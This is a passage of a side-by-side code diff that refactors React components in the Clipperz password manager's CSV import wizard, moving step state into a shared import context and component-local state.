			||||||
		
 | 
					//console.log(this.props.importContext);
 | 
				
			||||||
		var columnSelectors;
 | 
							var columnSelectors;
 | 
				
			||||||
		var rowCount;
 | 
							var rowCount;
 | 
				
			||||||
		var i;
 | 
							var i;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		columnSelectors = [];
 | 
							columnSelectors = [];
 | 
				
			||||||
		for (i=0; i<this.props.importState.importData.nColumns; i++) {
 | 
							for (i=0; i<this.props.importContext.nColumns; i++) {
 | 
				
			||||||
			columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
 | 
								columnSelectors.push( React.DOM.td({'key': 'csv-colsel-' + i}, React.DOM.input({
 | 
				
			||||||
				'type': 'checkbox',
 | 
									'type': 'checkbox',
 | 
				
			||||||
				'checked': this.props.importState.importData.selectedColumns[i],
 | 
									'checked': this.state.selectedColumns[i],
 | 
				
			||||||
				'onChange': MochiKit.Base.partial(this.toggleColumn,i)
 | 
									'onChange': MochiKit.Base.partial(this.toggleColumn,i)
 | 
				
			||||||
			}) ) );
 | 
								}) ) );
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
@@ -53,16 +71,8 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
 | 
				
			|||||||
		rowCount = 0;
 | 
							rowCount = 0;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Columns"),
 | 
					 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'csv',
 | 
					 | 
				
			||||||
				'stepId': 'csv-columns',
 | 
					 | 
				
			||||||
				'prevStep': 'input',
 | 
					 | 
				
			||||||
				'nextStep': 'csv-labels',
 | 
					 | 
				
			||||||
				'goToStepCallback': this.props.goToStepCallback,
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			React.DOM.p({}, "Select the columns you want to import."),
 | 
								React.DOM.p({}, "Select the columns you want to import."),
 | 
				
			||||||
			React.DOM.table({'style': {'background': 'white'}},[
 | 
								React.DOM.table({'className': 'csvTable'},[
 | 
				
			||||||
				React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
 | 
									React.DOM.thead({}, React.DOM.tr({'className': 'columnSelectors', 'key': 'csv-colsel'}, columnSelectors)),
 | 
				
			||||||
				React.DOM.tbody({},
 | 
									React.DOM.tbody({},
 | 
				
			||||||
					MochiKit.Base.map(function(row){
 | 
										MochiKit.Base.map(function(row){
 | 
				
			||||||
@@ -76,7 +86,7 @@ Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvColumnsClass = React.creat
 | 
				
			|||||||
						rowCount++;
 | 
											rowCount++;
 | 
				
			||||||
						
 | 
											
 | 
				
			||||||
						return result;
 | 
											return result;
 | 
				
			||||||
					}, this.props.importState.importData.parsedCSV)
 | 
										}, this.props.importContext.parsedCsv)
 | 
				
			||||||
				),
 | 
									),
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
		]);
 | 
							]);
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -26,52 +26,117 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHiddenClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvHiddenClass = React.createClass({
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	checkedCallback: function(columnN) {
 | 
						getInitialState: function() {
 | 
				
			||||||
		return this.props.importState.importData.hiddenColumns[columnN];
 | 
							return {
 | 
				
			||||||
 | 
								'hiddenColumns': this.props.importContext.hiddenColumns
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
 | 
						componentDidMount() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback(this.handleNextStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							//var importData = this.props.importState.importData;
 | 
				
			||||||
 | 
							//var json = this.props.csvToJsonCallback();
 | 
				
			||||||
 | 
							//this.props.setImportStateCallback({
 | 
				
			||||||
 | 
							//	'importData': importData,
 | 
				
			||||||
 | 
							//	'jsonToImport': json,
 | 
				
			||||||
 | 
							//	'recordsToImport': MochiKit.Base.map(function(r){return r._importId},json),
 | 
				
			||||||
 | 
							//	'currentStep': 'preview',
 | 
				
			||||||
 | 
							//	'previousStep': 'csv-hidden'
 | 
				
			||||||
 | 
							//})
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							MochiKit.Base.update(this.props.importContext, this.state);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return true;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	onChangeCallback: function(columnN) {
 | 
						onChangeCallback: function(columnN) {
 | 
				
			||||||
		var newState = {'importData': this.props.importState.importData};
 | 
							var newHiddenColumns = this.state.hiddenColumns;
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		newState.importData.hiddenColumns[columnN] = ! newState.importData.hiddenColumns[columnN];
 | 
							newHiddenColumns[columnN] = ! newHiddenColumns[columnN];
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		this.setState(newState);
 | 
							this.setState({'hiddenColumns': newHiddenColumns});
 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	disabledCallback: function(columnN) {
 | 
					 | 
				
			||||||
		return (columnN == this.props.importState.importData.titlesColumn || columnN == this.props.importState.importData.notesColumn)
 | 
					 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
		var importData = this.props.importState.importData;
 | 
							var cellCount, rowCount;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 | 
							var importContext = this.props.importContext;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							cellCount = 0;
 | 
				
			||||||
 | 
							rowCount = 0;
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Hidden"),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'csv',
 | 
					 | 
				
			||||||
				'stepId': 'csv-hidden'
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			React.DOM.button({'onClick': MochiKit.Base.partial(this.props.goToStepCallback, 'csv-notes') }, "Back"),
 | 
					 | 
				
			||||||
			React.DOM.span({}, " - "),
 | 
					 | 
				
			||||||
			React.DOM.button({'onClick': MochiKit.Base.bind(function() {
 | 
					 | 
				
			||||||
				var importData = this.props.importState.importData;
 | 
					 | 
				
			||||||
				var json = this.props.csvToJsonCallback();
 | 
					 | 
				
			||||||
				this.props.setImportStateCallback({
 | 
					 | 
				
			||||||
					'importData': importData,
 | 
					 | 
				
			||||||
					'jsonToImport': json,
 | 
					 | 
				
			||||||
					'recordsToImport': MochiKit.Base.map(function(r){return r._importId},json),
 | 
					 | 
				
			||||||
					'currentStep': 'preview',
 | 
					 | 
				
			||||||
					'previousStep': 'csv-hidden'
 | 
					 | 
				
			||||||
				});
 | 
					 | 
				
			||||||
			}, this) }, "Preview"),
 | 
					 | 
				
			||||||
			React.DOM.p({}, "Select the fields that should be hidden. (passwords, PINs, ...)"),
 | 
								React.DOM.p({}, "Select the fields that should be hidden. (passwords, PINs, ...)"),
 | 
				
			||||||
			React.DOM.table({'style': {'background': 'white'}},[
 | 
								React.DOM.table({'className': 'csvTable'},[
 | 
				
			||||||
				React.DOM.thead({},
 | 
									React.DOM.thead({},
 | 
				
			||||||
					this.props.csvRenderTheadInputCallback('hidden', 'checkbox', this.checkedCallback, this.onChangeCallback, this.disabledCallback, true)
 | 
										
 | 
				
			||||||
 | 
										React.DOM.tr({},
 | 
				
			||||||
 | 
											MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
 | 
				
			||||||
 | 
												var result;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												var thId = 'csv-notes-header-' + cellCount;
 | 
				
			||||||
 | 
												var inputId = 'csv-notes-input-' + cellCount;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												if (! importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
													result = null;
 | 
				
			||||||
 | 
												} else {
 | 
				
			||||||
 | 
													result = React.DOM.th({'key': thId}, [
 | 
				
			||||||
 | 
														React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
 | 
				
			||||||
 | 
														React.DOM.input({
 | 
				
			||||||
 | 
															'type': 'checkbox',
 | 
				
			||||||
 | 
															'id': inputId,
 | 
				
			||||||
 | 
															'key': inputId,
 | 
				
			||||||
 | 
															'ref': inputId,
 | 
				
			||||||
 | 
															'checked': this.state.hiddenColumns[cellCount],
 | 
				
			||||||
 | 
															'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
 | 
				
			||||||
 | 
															'disabled': (cellCount == importContext.titlesColumn || cellCount == importContext.notesColumn)
 | 
				
			||||||
 | 
														})
 | 
				
			||||||
 | 
													]);
 | 
				
			||||||
 | 
												}
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												cellCount++;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												return result;
 | 
				
			||||||
 | 
											}, this), importContext.parsedCsv[0])
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
 | 
										
 | 
				
			||||||
				),
 | 
									),
 | 
				
			||||||
				React.DOM.tbody({},
 | 
									React.DOM.tbody({},
 | 
				
			||||||
					this.props.csvRenderTbodyCallback()
 | 
										
 | 
				
			||||||
 | 
										MochiKit.Base.map(MochiKit.Base.bind(function(row){
 | 
				
			||||||
 | 
											var result;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											cellCount = 0;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											if (rowCount == 0 && importContext.firstRowAsLabels) {
 | 
				
			||||||
 | 
												result = null;
 | 
				
			||||||
 | 
											} else {							
 | 
				
			||||||
 | 
												result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
 | 
				
			||||||
 | 
													var result;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													if (importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
														result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
 | 
				
			||||||
 | 
													} else{
 | 
				
			||||||
 | 
														result = null;
 | 
				
			||||||
 | 
													}
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													cellCount++;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													return  result;
 | 
				
			||||||
 | 
												}, row));
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											rowCount++;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											return result;
 | 
				
			||||||
 | 
										},this), importContext.parsedCsv)
 | 
				
			||||||
 | 
										
 | 
				
			||||||
				)
 | 
									)
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -26,84 +26,153 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabelsClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabelsClass = React.createClass({
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	toggleFirstRow: function() {
 | 
						getInitialState: function() {
 | 
				
			||||||
		var newState;
 | 
							return {
 | 
				
			||||||
		var cellCount;
 | 
								'firstRowAsLabels': this.props.importContext.firstRowAsLabels,
 | 
				
			||||||
 | 
								'columnLabels': this.props.importContext.columnLabels,
 | 
				
			||||||
 | 
								'columnLabelsFirstrow': this.props.importContext.columnLabelsFirstrow
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		newState = {'importData': this.props.importState.importData};
 | 
						componentDidMount() {
 | 
				
			||||||
		newState.importData.firstRowAsLabels = ! newState.importData.firstRowAsLabels;
 | 
							this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		cellCount = 0;
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
		MochiKit.Base.map(function(cell){
 | 
					 | 
				
			||||||
			newState.importData.columnLabelsFirstrow[cellCount++] = cell;
 | 
					 | 
				
			||||||
		}, this.props.importState.importData.parsedCSV[0]);
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
		this.props.setImportStateCallback(newState);
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							return this.state;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						updateNextStatus: function() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	isNextDisabled: function() {
 | 
						isNextDisabled: function() {
 | 
				
			||||||
		var result;
 | 
							var result;
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		var importData = this.props.importState.importData;
 | 
							var importContext = this.props.importContext;
 | 
				
			||||||
		
 | 
							var columnLabels = this.getLabels();
 | 
				
			||||||
		var columnLabels = (importData.firstRowAsLabels) ? importData.columnLabelsFirstrow : importData.columnLabels;
 | 
					 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		result = false;
 | 
							result = false;
 | 
				
			||||||
		for (i in columnLabels) {
 | 
							for (i in columnLabels) {
 | 
				
			||||||
			result = result || (columnLabels[i] == '');
 | 
								result = result || ((columnLabels[i] == '')&&(importContext.selectedColumns[i]));
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
		return result;
 | 
							return result;
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	valueCallback: function(columnN) {
 | 
						//=========================================================================
 | 
				
			||||||
		var columnLabels = this.props.csvGetColumnLabelsCallback();
 | 
						
 | 
				
			||||||
		return columnLabels[columnN];
 | 
						getLabels: function() {
 | 
				
			||||||
 | 
							return (this.state.firstRowAsLabels) ? this.state.columnLabelsFirstrow : this.state.columnLabels;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						toggleFirstRow: function() {
 | 
				
			||||||
 | 
							var newState;
 | 
				
			||||||
 | 
							var cellCount;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							newState = this.state;
 | 
				
			||||||
 | 
							newState.firstRowAsLabels = ! newState.firstRowAsLabels;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							cellCount = 0;
 | 
				
			||||||
 | 
							MochiKit.Base.map(function(cell){
 | 
				
			||||||
 | 
								newState.columnLabelsFirstrow[cellCount++] = cell;
 | 
				
			||||||
 | 
							}, this.props.importContext.parsedCsv[0]);
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this.updateNextStatus();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this.setState(newState);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	onChangeCallback: function(columnN) {
 | 
						onChangeCallback: function(columnN) {
 | 
				
			||||||
		var newState;
 | 
							var newState;
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		newState = {'importData': this.props.importState.importData};
 | 
							newState = this.state;
 | 
				
			||||||
		if (this.props.importState.importData.firstRowAsLabels) {
 | 
							if (newState.firstRowAsLabels) {
 | 
				
			||||||
			newState.importData.columnLabelsFirstrow[columnN] = this.refs['csv-labels-input-'+columnN].getDOMNode().value;
 | 
								newState.columnLabelsFirstrow[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
 | 
				
			||||||
		} else {
 | 
							} else {
 | 
				
			||||||
			newState.importData.columnLabels[columnN] = this.refs['csv-labels-input-'+columnN].getDOMNode().value;
 | 
								newState.columnLabels[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
		this.props.setImportStateCallback(newState);
 | 
							this.updateNextStatus();
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							this.setState(newState);
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
 | 
					//console.log("labels-render",this.props.importContext);
 | 
				
			||||||
 | 
					//return React.DOM.p({}, "labels")
 | 
				
			||||||
 | 
							var rowCount, cellCount;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
		var importData = this.props.importState.importData;
 | 
							var importContext = this.props.importContext;
 | 
				
			||||||
 | 
							var columnLabels = this.getLabels();
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
 | 
							rowCount = 0;
 | 
				
			||||||
 | 
							cellCount = 0;
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Labels"),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'csv',
 | 
					 | 
				
			||||||
				'stepId': 'csv-labels',
 | 
					 | 
				
			||||||
				'prevStep': 'csv-columns',
 | 
					 | 
				
			||||||
				'nextStep': 'csv-titles',
 | 
					 | 
				
			||||||
				'goToStepCallback': this.props.goToStepCallback,
 | 
					 | 
				
			||||||
				'nextDisabled': this.isNextDisabled()
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			React.DOM.p({}, "Set a label for each field in your data. If the first row of the CSV file contains field labels, tick off the checkbox below."),
 | 
								React.DOM.p({}, "Set a label for each field in your data. If the first row of the CSV file contains field labels, tick off the checkbox below."),
 | 
				
			||||||
			React.DOM.input({
 | 
								React.DOM.input({
 | 
				
			||||||
				'id': 'csv-labels-firstrow',
 | 
									'id': 'csv-labels-firstrow',
 | 
				
			||||||
				'type': 'checkbox',
 | 
									'type': 'checkbox',
 | 
				
			||||||
				'checked': this.props.importState.importData.firstRowAsLabels,
 | 
									'checked': this.state.firstRowAsLabels,
 | 
				
			||||||
				'onChange': this.toggleFirstRow
 | 
									'onChange': this.toggleFirstRow
 | 
				
			||||||
			}),
 | 
								}),
 | 
				
			||||||
			React.DOM.label({'htmlFor':'csv-labels-firstrow'}, "Use the first row as labels"),
 | 
								React.DOM.label({'htmlFor':'csv-labels-firstrow'}, "Use the first row as labels"),
 | 
				
			||||||
			React.DOM.table({'style': {'background': 'white'}},[
 | 
								React.DOM.table({'className': 'csvTable'},[
 | 
				
			||||||
				React.DOM.thead({},
 | 
									React.DOM.thead({},
 | 
				
			||||||
					this.props.csvRenderTheadInputCallback('labels', 'text', this.valueCallback, this.onChangeCallback, null, false)
 | 
										React.DOM.tr({},
 | 
				
			||||||
 | 
											MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
 | 
				
			||||||
 | 
												var result;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												if (! importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
													result = null;
 | 
				
			||||||
 | 
												} else {
 | 
				
			||||||
 | 
													result = React.DOM.th({'key': 'csv-labels-header-' + cellCount}, [
 | 
				
			||||||
 | 
														React.DOM.input({
 | 
				
			||||||
 | 
															'type': 'text',
 | 
				
			||||||
 | 
															'id': 'csv-labels-input-' + cellCount,
 | 
				
			||||||
 | 
															'key': 'csv-labels-input-' + cellCount,
 | 
				
			||||||
 | 
															'ref': 'csv-labels-input-' + cellCount,
 | 
				
			||||||
 | 
															'value': columnLabels[cellCount],
 | 
				
			||||||
 | 
															'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
 | 
				
			||||||
 | 
														})
 | 
				
			||||||
 | 
													]);
 | 
				
			||||||
 | 
												}
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												cellCount++;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												return result;
 | 
				
			||||||
 | 
											}, this), this.props.importContext.parsedCsv[0])
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
				),
 | 
									),
 | 
				
			||||||
				React.DOM.tbody({},
 | 
									React.DOM.tbody({},
 | 
				
			||||||
					this.props.csvRenderTbodyCallback()
 | 
										MochiKit.Base.map(MochiKit.Base.bind(function(row){
 | 
				
			||||||
 | 
											var result;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											cellCount = 0;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											if (rowCount == 0 && this.state.firstRowAsLabels) {
 | 
				
			||||||
 | 
												result = null;
 | 
				
			||||||
 | 
											} else {							
 | 
				
			||||||
 | 
												result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
 | 
				
			||||||
 | 
													var result;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													if (importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
														result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
 | 
				
			||||||
 | 
													} else{
 | 
				
			||||||
 | 
														result = null;
 | 
				
			||||||
 | 
													}
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													cellCount++;
 | 
				
			||||||
 | 
													return  result;
 | 
				
			||||||
 | 
												}, row));
 | 
				
			||||||
 | 
											}
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											rowCount++;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											return result;
 | 
				
			||||||
 | 
										},this), importContext.parsedCsv)
 | 
				
			||||||
				)
 | 
									)
 | 
				
			||||||
		
 | 
							
 | 
				
			||||||
			])
 | 
								])
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -26,48 +26,107 @@ Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotesClass = React.createClass({
 | 
					Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotesClass = React.createClass({
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
	checkedCallback: function(columnN) {
 | 
						getInitialState: function() {
 | 
				
			||||||
		return columnN == this.props.importState.importData.notesColumn;
 | 
							return {
 | 
				
			||||||
 | 
								'notesColumn': this.props.importContext.notesColumn
 | 
				
			||||||
 | 
							};
 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
	
 | 
						
 | 
				
			||||||
 | 
						componentDidMount() {
 | 
				
			||||||
 | 
							this.props.setNextStepCallback(this.handleNextStep);
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//-------------------------------------------------------------------------
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						handleNextStep: function() {
 | 
				
			||||||
 | 
							return this.state;
 | 
				
			||||||
 | 
						},
 | 
				
			||||||
 | 
						
 | 
				
			||||||
 | 
						//=========================================================================
 | 
				
			||||||
 | 
						
 | 
				
			||||||
	onChangeCallback: function(columnN) {
 | 
						onChangeCallback: function(columnN) {
 | 
				
			||||||
		var newState = {'importData': this.props.importState.importData};
 | 
							this.setState({'notesColumn': columnN});
 | 
				
			||||||
	
 | 
					 | 
				
			||||||
		newState.importData.notesColumn = columnN;
 | 
					 | 
				
			||||||
		
 | 
					 | 
				
			||||||
		this.setState(newState);
 | 
					 | 
				
			||||||
	},
 | 
					 | 
				
			||||||
	
 | 
					 | 
				
			||||||
	disabledCallback: function(columnN) {
 | 
					 | 
				
			||||||
		return columnN == this.props.importState.importData.titlesColumn;
 | 
					 | 
				
			||||||
	},
 | 
						},
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	render: function() {
 | 
						render: function() {
 | 
				
			||||||
 | 
							var cellCount, rowCount;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							var importContext = this.props.importContext;
 | 
				
			||||||
 | 
							
 | 
				
			||||||
 | 
							cellCount = 0;
 | 
				
			||||||
 | 
							rowCount = 0;
 | 
				
			||||||
		return React.DOM.div({},[
 | 
							return React.DOM.div({},[
 | 
				
			||||||
			React.DOM.h2({},"Notes"),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			Clipperz.PM.UI.Components.ExtraFeatures.DataImport.StepsNavigation({
 | 
					 | 
				
			||||||
				'format': 'csv',
 | 
					 | 
				
			||||||
				'stepId': 'csv-notes',
 | 
					 | 
				
			||||||
				'prevStep': 'csv-titles',
 | 
					 | 
				
			||||||
				'nextStep': 'csv-hidden',
 | 
					 | 
				
			||||||
				'goToStepCallback': this.props.goToStepCallback
 | 
					 | 
				
			||||||
			}),
 | 
					 | 
				
			||||||
			
 | 
					 | 
				
			||||||
			React.DOM.p({}, "Select the column that represents a \"notes\" field. (optional)"),
 | 
								React.DOM.p({}, "Select the column that represents a \"notes\" field. (optional)"),
 | 
				
			||||||
			React.DOM.input({
 | 
								React.DOM.input({
 | 
				
			||||||
				'id': 'csv-notes-nonotes',
 | 
									'id': 'csv-notes-nonotes',
 | 
				
			||||||
				'type': 'radio',
 | 
									'type': 'radio',
 | 
				
			||||||
				'checked': ! this.props.importState.importData.notesColumn,
 | 
									'checked': ! this.state.notesColumn,
 | 
				
			||||||
				'onChange': MochiKit.Base.partial(this.onChangeCallback, null)
 | 
									'onChange': MochiKit.Base.partial(this.onChangeCallback, null)
 | 
				
			||||||
			}),
 | 
								}),
 | 
				
			||||||
			React.DOM.label({'htmlFor': 'csv-notes-nonotes'}, "\"notes\" field not present"),
 | 
								React.DOM.label({'htmlFor': 'csv-notes-nonotes'}, "\"notes\" field not present"),
 | 
				
			||||||
			React.DOM.table({'style': {'background': 'white'}},[
 | 
								React.DOM.table({'className': 'csvTable'},[
 | 
				
			||||||
				React.DOM.thead({},
 | 
									React.DOM.thead({},
 | 
				
			||||||
					this.props.csvRenderTheadInputCallback('notes', 'radio', this.checkedCallback, this.onChangeCallback, this.disabledCallback, true)
 | 
					
 | 
				
			||||||
 | 
									React.DOM.tr({},
 | 
				
			||||||
 | 
											MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
 | 
				
			||||||
 | 
												var result;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												var thId = 'csv-notes-header-' + cellCount;
 | 
				
			||||||
 | 
												var inputId = 'csv-notes-input-' + cellCount;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												if (! importContext.selectedColumns[cellCount]) {
 | 
				
			||||||
 | 
													result = null;
 | 
				
			||||||
 | 
												} else {
 | 
				
			||||||
 | 
													result = React.DOM.th({'key': thId}, [
 | 
				
			||||||
 | 
														React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
 | 
				
			||||||
 | 
														React.DOM.input({
 | 
				
			||||||
 | 
															'type': 'radio',
 | 
				
			||||||
 | 
															'id': inputId,
 | 
				
			||||||
 | 
															'key': inputId,
 | 
				
			||||||
 | 
															'ref': inputId,
 | 
				
			||||||
 | 
															'checked': cellCount == this.state.notesColumn,
 | 
				
			||||||
 | 
															'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
 | 
				
			||||||
 | 
															'disabled': cellCount == importContext.titlesColumn
 | 
				
			||||||
 | 
														})
 | 
				
			||||||
 | 
													]);
 | 
				
			||||||
 | 
												}
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												cellCount++;
 | 
				
			||||||
 | 
												
 | 
				
			||||||
 | 
												return result;
 | 
				
			||||||
 | 
											}, this), importContext.parsedCsv[0])
 | 
				
			||||||
 | 
										)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
				),
 | 
									),
 | 
				
			||||||
				React.DOM.tbody({},
 | 
									React.DOM.tbody({},
 | 
				
			||||||
					this.props.csvRenderTbodyCallback()
 | 
										
 | 
				
			||||||
 | 
										MochiKit.Base.map(MochiKit.Base.bind(function(row){
 | 
				
			||||||
 | 
											var result;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											cellCount = 0;
 | 
				
			||||||
 | 
											
 | 
				
			||||||
 | 
											if (rowCount == 0 && importContext.firstRowAsLabels) {
 | 
				
			||||||
 | 
												result = null;
 | 
				
			||||||
 | 
											} else {							
 | 
				
			||||||
 | 
												result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
 | 
				
			||||||
 | 
													var result;
 | 
				
			||||||
 | 
													
 | 
				
			||||||
 | 
													if (importContext.selectedColumns[cellCount]) {
